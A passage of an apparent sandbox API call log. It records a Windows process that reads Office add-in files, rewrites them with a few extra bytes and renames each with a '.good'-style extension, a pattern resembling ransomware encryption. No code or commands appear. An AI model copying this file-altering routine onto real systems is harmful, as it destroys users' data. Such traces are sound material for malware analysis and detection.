returned 0x1 [0240.870] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0240.870] ReadFile (in: hFile=0x85c, lpBuffer=0x38730b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x38730b0*, lpNumberOfBytesRead=0x206ec9c8*=0x1000, lpOverlapped=0x0) returned 1 [0240.872] CloseHandle (hObject=0x85c) returned 1 [0240.872] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl", lpFilePart=0x0) returned 0x66 [0240.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0240.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0240.872] GetFileType (hFile=0x85c) returned 0x1 [0240.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0240.873] GetFileType (hFile=0x85c) returned 0x1 [0240.873] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x7b27 [0240.873] WriteFile (in: hFile=0x85c, lpBuffer=0x3876f48*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x3876f48*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0240.874] CloseHandle (hObject=0x85c) returned 1 [0240.874] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl", lpFilePart=0x0) returned 0x66 [0240.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0240.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0240.874] GetFileType (hFile=0x85c) returned 0x1 [0240.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0240.874] GetFileType (hFile=0x85c) returned 0x1 [0240.874] ReadFile (in: hFile=0x85c, lpBuffer=0x387b508, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x387b508*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0241.620] CloseHandle (hObject=0x85c) returned 1 [0241.620] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl", lpFilePart=0x0) returned 0x66 [0241.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0241.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0241.620] GetFileType (hFile=0x85c) returned 0x1 [0241.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0241.620] GetFileType (hFile=0x85c) returned 0x1 [0241.620] WriteFile (in: hFile=0x85c, lpBuffer=0x379e3b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x379e3b8*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0241.620] CloseHandle (hObject=0x85c) returned 1 [0241.620] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl", lpFilePart=0x0) returned 0x66 [0241.620] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl.gоod", lpFilePart=0x0) returned 0x6b [0241.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0241.620] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\informix.xsl"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164ae360, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8c3b9155, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7b37)) returned 1 [0241.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0241.621] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\informix.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\informix.xsl.gоod")) returned 1 [0241.621] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl", lpFilePart=0x0) returned 0x63 [0241.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0241.621] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\msjet.xsl"), fInfoLevelId=0x0, lpFileInformation=0x3933c80 | out: lpFileInformation=0x3933c80*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164d461d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164d461d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164d461d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7339)) returned 1 [0241.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0241.622] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl", lpFilePart=0x0) returned 0x63 [0241.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0241.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\msjet.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0241.622] GetFileType (hFile=0x85c) returned 0x1 [0241.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0241.622] GetFileType (hFile=0x85c) returned 0x1 [0241.622] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0241.622] ReadFile (in: hFile=0x85c, lpBuffer=0x39340f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x39340f8*, lpNumberOfBytesRead=0x206ec9c8*=0x1000, lpOverlapped=0x0) returned 1 [0241.624] CloseHandle (hObject=0x85c) returned 1 [0242.201] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl", lpFilePart=0x0) returned 0x63 [0242.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0242.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\msjet.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0242.226] GetFileType (hFile=0x630) returned 0x1 [0242.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0242.226] GetFileType (hFile=0x630) returned 0x1 [0242.227] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x7339 [0242.227] WriteFile (in: hFile=0x630, lpBuffer=0x389f7d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x389f7d0*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0242.228] CloseHandle (hObject=0x630) returned 1 [0242.228] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl", lpFilePart=0x0) returned 0x63 [0242.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0242.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\msjet.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0242.228] GetFileType (hFile=0x630) returned 0x1 [0242.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0242.228] GetFileType (hFile=0x630) returned 0x1 [0242.228] ReadFile (in: hFile=0x630, lpBuffer=0x38a2268, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x38a2268*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0242.257] CloseHandle (hObject=0x630) returned 1 [0242.257] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl", lpFilePart=0x0) returned 0x63 [0242.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0242.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\msjet.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0242.258] GetFileType (hFile=0x630) returned 0x1 [0242.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0242.258] GetFileType (hFile=0x630) returned 0x1 [0242.258] WriteFile (in: hFile=0x630, lpBuffer=0x38a0f90*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x38a0f90*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0242.258] CloseHandle (hObject=0x630) returned 1 [0242.258] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl", lpFilePart=0x0) returned 0x63 [0242.258] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl.gоod", lpFilePart=0x0) returned 0x68 [0242.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0242.258] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\msjet.xsl"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164d461d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164d461d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8c9d4dbb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7349)) returned 1 [0242.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0242.258] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\msjet.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\msjet.xsl.gоod")) returned 1 [0242.260] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl", lpFilePart=0x0) returned 0x63 [0242.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0242.260] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\orcl7.xsl"), fInfoLevelId=0x0, lpFileInformation=0x391e878 | out: lpFileInformation=0x391e878*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164ae360, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164ae360, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8a2a)) returned 1 [0242.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0242.260] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl", lpFilePart=0x0) returned 0x63 [0242.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0242.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\orcl7.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0242.261] GetFileType (hFile=0x630) returned 0x1 [0242.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0242.261] GetFileType (hFile=0x630) returned 0x1 [0242.261] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0242.261] ReadFile (in: hFile=0x630, lpBuffer=0x391ecf0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x391ecf0*, lpNumberOfBytesRead=0x206ec9c8*=0x1000, lpOverlapped=0x0) returned 1 [0242.462] CloseHandle (hObject=0x630) returned 1 [0244.578] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl", lpFilePart=0x0) returned 0x63 [0244.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0244.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\orcl7.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.578] GetFileType (hFile=0x630) returned 0x1 [0244.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0244.578] GetFileType (hFile=0x630) returned 0x1 [0244.578] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x8a2a [0244.578] WriteFile (in: hFile=0x630, lpBuffer=0x3976ff0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x3976ff0*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0244.579] CloseHandle (hObject=0x630) returned 1 [0244.580] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl", lpFilePart=0x0) returned 0x63 [0244.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0244.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\orcl7.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.580] GetFileType (hFile=0x630) returned 0x1 [0244.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0244.580] GetFileType (hFile=0x630) returned 0x1 [0244.580] ReadFile (in: hFile=0x630, lpBuffer=0x3979a00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x3979a00*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0244.607] CloseHandle (hObject=0x630) returned 1 [0244.607] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl", lpFilePart=0x0) returned 0x63 [0244.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0244.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\orcl7.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.607] GetFileType (hFile=0x630) returned 0x1 [0244.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0244.607] GetFileType (hFile=0x630) returned 0x1 [0244.607] WriteFile (in: hFile=0x630, lpBuffer=0x3978728*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x3978728*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0244.608] CloseHandle (hObject=0x630) returned 1 [0244.608] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl", lpFilePart=0x0) returned 0x63 [0244.608] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl.gоod", lpFilePart=0x0) returned 0x68 [0244.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0244.608] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\orcl7.xsl"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164ae360, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8e01c715, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8a3a)) returned 1 [0244.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0244.608] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\orcl7.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\orcl7.xsl.gоod")) returned 1 [0244.609] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl", lpFilePart=0x0) returned 0x65 [0244.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0244.609] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql2000.xsl"), 